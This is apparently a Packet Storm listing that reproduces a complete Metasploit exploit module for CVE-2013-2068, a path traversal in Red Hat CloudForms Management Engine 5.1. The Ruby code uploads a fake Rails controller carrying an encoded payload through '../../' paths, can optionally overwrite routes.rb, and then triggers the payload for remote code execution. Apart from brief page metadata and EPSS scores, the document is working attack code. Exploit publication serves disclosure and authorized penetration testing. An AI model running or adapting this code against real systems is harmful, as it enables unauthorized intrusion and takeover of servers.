Lucene search

K
packetstormRamon de C VallePACKETSTORM:124569
HistoryDec 23, 2013 - 12:00 a.m.

Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal

2013-12-2300:00:00
Ramon de C Valle
packetstormsecurity.com
18

0.624 Medium

EPSS

Percentile

97.8%

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize  
super(  
'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal',  
'Description' => %q{  
This module exploits a path traversal vulnerability in the "linuxpkgs"  
action of "agent" controller of the Red Hat CloudForms Management Engine 5.1  
(ManageIQ Enterprise Virtualization Manager 5.0 and earlier).  
It uploads a fake controller to the controllers directory of the Rails  
application with the encoded payload as an action and sends a request to  
this action to execute the payload. Optionally, it can also upload a routing  
file containing a route to the action. (Which is not necessary, since the  
application already contains a general default route.)  
},  
'Author' => 'Ramon de C Valle',  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2013-2068'],  
['CWE', '22'],  
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=960422']  
],  
'Platform' => 'ruby',  
'Arch' => ARCH_RUBY,  
'Privileged' => true,  
'Targets' =>  
[  
['Automatic', {}]  
],  
'DisclosureDate' => 'Sep 4 2013',  
'DefaultOptions' =>  
{  
'PrependFork' => true,  
'SSL' => true  
},  
'DefaultTarget' => 0  
)  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('CONTROLLER', [false, 'The name of the controller']),  
OptString.new('ACTION', [false, 'The name of the action']),  
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),  
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])  
], self.class  
)  
  
register_advanced_options(  
[  
OptBool.new('ROUTES', [true, 'Upload a routing file. Warning: It is not necessary by default and can damage the target application', false]),  
], self.class)  
end  
  
def check  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, "ping.html")  
)  
  
if res and res.code == 200 and res.body.to_s =~ /EVM ping response/  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Unknown  
end  
  
def exploit  
controller =  
if datastore['CONTROLLER'].blank?  
Rex::Text.rand_text_alpha_lower(rand(9) + 3)  
else  
datastore['CONTROLLER'].downcase  
end  
  
action =  
if datastore['ACTION'].blank?  
Rex::Text.rand_text_alpha_lower(rand(9) + 3)  
else  
datastore['ACTION'].downcase  
end  
  
data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n"  
  
print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")  
res = upload_file("../../app/controllers/#{controller}_controller.rb", data)  
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?  
register_files_for_cleanup("app/controllers/#{controller}_controller.rb")  
# According to rcvalle, all the version have not been checked  
# so we're not sure if res.code will be always 500, in order  
# to not lose sessions, just print warning and proceeding  
unless res and res.code == 500  
print_warning("Unexpected reply but proceeding anyway...")  
end  
  
if datastore['ROUTES']  
data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"  
  
print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")  
res = upload_file("../../config/routes.rb", data)  
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?  
# According to rcvalle, all the version have not been checked  
# so we're not sure if res.code will be always 500, in order  
# to not lose sessions, just print warning and proceeding  
unless res and res.code == 500  
print_warning("Unexpected reply but proceeding anyway...")  
end  
end  
  
print_status("Sending execute request to #{target_url(controller, action)}...")  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, controller, action)  
)  
end  
  
def upload_file(filename, data)  
res = send_request_cgi(  
'method' => datastore['HTTP_METHOD'],  
'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),  
"vars_#{datastore['HTTP_METHOD'].downcase}" => {  
'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),  
'filename' => filename,  
'md5' => Rex::Text.md5(data)  
}  
)  
  
return res  
end  
  
def target_url(*args)  
(ssl ? 'https' : 'http') +  
if rport.to_i == 80 || rport.to_i == 443  
"://#{vhost}"  
else  
"://#{vhost}:#{rport}"  
end + normalize_uri(target_uri.path, *args)  
end  
end  
  
`

0.624 Medium

EPSS

Percentile

97.8%